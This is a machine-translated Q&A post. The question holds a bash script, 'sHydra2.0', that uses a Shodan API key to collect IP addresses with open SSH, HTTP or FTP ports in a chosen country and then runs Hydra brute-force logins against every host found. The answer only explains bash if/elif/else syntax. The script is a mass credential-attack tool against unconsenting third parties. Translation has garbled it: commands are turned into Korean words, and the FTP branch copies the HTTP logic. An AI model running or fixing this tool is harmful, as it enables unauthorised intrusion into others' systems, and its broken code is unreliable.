#!/bin/bash Figlet -w 100 SHydra2.0 echo "sHydra2.0이 초기화 중입니다." echo "책임감 있게 사용하세요." echo "귀하의 잘못된 결정에 대해 저는 책임을 지지 않습니다." /bin/sleep 10 #!/bin /세게 때리다
echo -en "선택하세요:\n\t1.SSH-Brute\n\t2.HTTP-Brute\n\t3.FTP-Brute\n\t선택하세요:" read VAR
만약 [[ $VAR = 1 ]]이면
원본 코드 다운##
Shodan의 API 키 요청
echo "SSH-Brute 선택" /bin/sleep 5 echo "Shodan API 키 입력" read -p'API:' uservar
echo "2자리 국가 코드를 입력하세요....info@https://www.nationsonline.org/oneworld/country_code_list.htm" read -p '국가 코드:' countvar
echo "사용자 이름 목록의 절대 경로를 입력하세요. 예: /usr/share/wordlists/..etc" read -p '사용자 이름 목록 경로:' ulvar
echo "비밀번호 목록의 절대 경로를 입력하세요. 예: /usr/share/wordlists/...etc" read -p '비밀번호 목록:' pwvar
echo "SSH-Brute 초기화" shodan init $uservar
shodan 검색 기능을 사용하여 포트 22를 찾고 사용 가능한 IP 주소를 grep하여 파일로 출력합니다.
shodan 검색 포트: 22, 국가: $countvar | grep -Eo '[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0 -9]{1,3}' > $1 ;sort $1 -u > $1 |
wc -l < $1 && echo "SSH 대상이 로드됨"
/bin/sleep 5 echo "대상이 범위 내에 있습니다!" /bin/sleep 5 echo "부팅 시퀀스가 곧 시작됩니다..." echo "두렵다면 지금 중단하세요!"
/bin/sleep 5 read -rsn1 -p "중단할 마지막 기회입니다. 계속하려면 아무 키나 누르십시오" echo 변수;
##카운트다운 함수 초=10; date1=$(( date +%s
+ $seconds)); while [ "$date1" -ge date +%s
] do echo -ne "$(date -u --date @$(($date1 - date +%s
) ) +%H:%M:%S)\r";완료
##notifiers## read -rsn1 -p "등록한 내용을 알고 있습니다. 계속하려면 아무 키나 누르십시오." 변수; echo echo "지금 시작"
Hydra 명령이 작동하지 않으면 절대 경로를 사용자 이름 목록과 비밀번호 목록으로 변경하세요##
Hydra -L $ulvar -P $pwvar -M $1 -o $2 -t 4 ssh ##파일을 현재 디렉터리에 출력# echo "파일 저장 위치: ${PWD}" fi
else if [[ $VAR = 2 ]] then #http Brute 부분적으로 새로운 기능입니다!
Shodan의 API 키 요청
/bin/sleep 5 echo "HTTP-Brute 진행 중" /bin/sleep 5 echo "Shodan API 키 입력" read -p'API:' uservar /bin/sleep 5 echo "2자리 국가/지역 코드를 입력하세요. .. .info@https://www.nationsonline.org/oneworld/country_code_list.htm" read -p '국가 코드:' countvar
echo "사용자 이름 목록의 절대 경로를 입력하세요. 예: /usr/share/wordlists/..etc" read -p '사용자 이름 목록 경로:' ulvar
echo "비밀번호 목록의 절대 경로를 입력하세요. 예: /usr/share/wordlists/...etc" read -p '비밀번호 목록:' pwvar
echo "HTTP 대상이 초기화 중입니다." shodan init $uservar
shodan 검색 기능을 사용하여 포트 22를 찾고 사용 가능한 IP 주소를 grep하여 파일로 출력합니다.
shodan 검색 포트: 80, 로그인, 국가: $countvar,200 | grep -Eo '[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3 }.[0-9]{1,3}' > $1 ; $1 정렬 -u > $1
wc -l < $1 && echo "HTTP 대상이 로드됨"
/bin/sleep 5 echo "HTTP 대상이 범위 내에 있습니다!" /bin/sleep 5 echo "시작 순서가 곧 시작됩니다..." echo "두렵다면 지금 중단하세요!"
/bin/sleep 10 read -rsn1 -p "중단할 마지막 기회입니다. 계속하려면 아무 키나 누르십시오" echo 변수;
##카운트다운 함수 초=10; date1=$(( date +%s
+ $seconds)); while [ "$date1" -ge date +%s
] do echo -ne "$(date -u --date @$(($date1 - date +%s
) ) +%H:%M:%S)\r";완료
##notifiers## read -rsn1 -p "등록한 내용을 알고 있습니다. 계속하려면 아무 키나 누르십시오." 변수; echo echo "지금 시작"
Hydra 명령이 작동하지 않으면 절대 경로를 사용자 이름 목록과 비밀번호 목록으로 변경하세요##
Hydra -L $ulvar -vV -P $pwvar http-get-form -M $1 -o $2 -t 4 ##현재 디렉터리에 파일을 출력합니다# echo "파일이 저장되는 위치: ${PWD}" fi
###FTP 기능## else if [[ $VAR = 3 ]] then #FTP 새로운 기능!
Shodan의 API 키 요청
/bin/sleep 5 echo "FTP-Brute 진행 중" /bin/sleep 5 echo "Shodan API 키 입력" read -p'API:' uservar /bin/sleep 5 echo "2자리 국가/지역 코드를 입력하세요. .. .info@https://www.nationsonline.org/oneworld/country_code_list.htm" read -p '국가 코드:' countvar
echo "사용자 이름 목록의 절대 경로를 입력하세요. 예: /usr/share/wordlists/..etc" read -p '사용자 이름 목록 경로:' ulvar
echo "비밀번호 목록의 절대 경로를 입력하세요. 예: /usr/share/wordlists/...etc" read -p '비밀번호 목록:' pwvar
echo "HTTP 대상이 초기화 중입니다." shodan init $uservar
shodan 검색 기능을 사용하여 포트 22를 찾고 사용 가능한 IP 주소를 grep하여 파일로 출력합니다.
shodan 검색 포트: 80, 로그인, 국가: $countvar,200 | grep -Eo '[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3 }.[0-9]{1,3}' > $1 ; $1 정렬 -u > $1
wc -l < $1 && echo "HTTP 대상이 로드됨"
/bin/sleep 5 echo "HTTP 대상이 범위 내에 있습니다!" /bin/sleep 5 echo "시작 순서가 곧 시작됩니다..." echo "두렵다면 지금 중단하세요!" -rsn1 -p "중단할 마지막 기회입니다. 계속하려면 아무 키나 누르십시오" echo 변수;
##카운트다운 함수 초=10; date1=$(( date +%s
+ $seconds)); while [ "$date1" -ge date +%s
] do echo -ne "$(date -u --date @$(($date1 - date +%s
) ) +%H:%M:%S)\r";완료
##notifiers## read -rsn1 -p "등록한 내용을 알고 있습니다. 계속하려면 아무 키나 누르십시오." 변수; echo echo "지금 시작"
Hydra 명령이 작동하지 않으면 절대 경로를 사용자 이름 목록과 비밀번호 목록으로 변경하세요##
Hydra -L $ulvar -vV -P $pwvar http-get-form -M $1 -o $2 -t 4 ##현재 디렉터리에 파일을 출력합니다# echo "파일이 저장되는 위치: ${PWD}" fi
답변1
Bash에서 if 문의 기본 구문은 다음과 같습니다.
if ...; then
statement
elif ...; then
statement
else
statement
fi
예를 들어:
if [ ! "$FOO" ]; then
echo "Foo is not set."
elif [ "$FOO" = "yes" ]; then
echo "Foo equals 'yes'."
else
echo "Foo is set but does not equal 'yes'.";
fi
elif
(else-if) 및 절이 필요하지 않은 경우 생략할 수 있습니다.else
if [ "$FOO" = "yes" ]; then
echo "Foo equals 'yes'."
fi
어떤 사람들은 if 절 끝에 ";then"을 사용하지 않고 약간 다른 형식을 선호합니다.
if [ "$FOO" = "yes" ]
then
echo "Foo equals 'yes'."
fi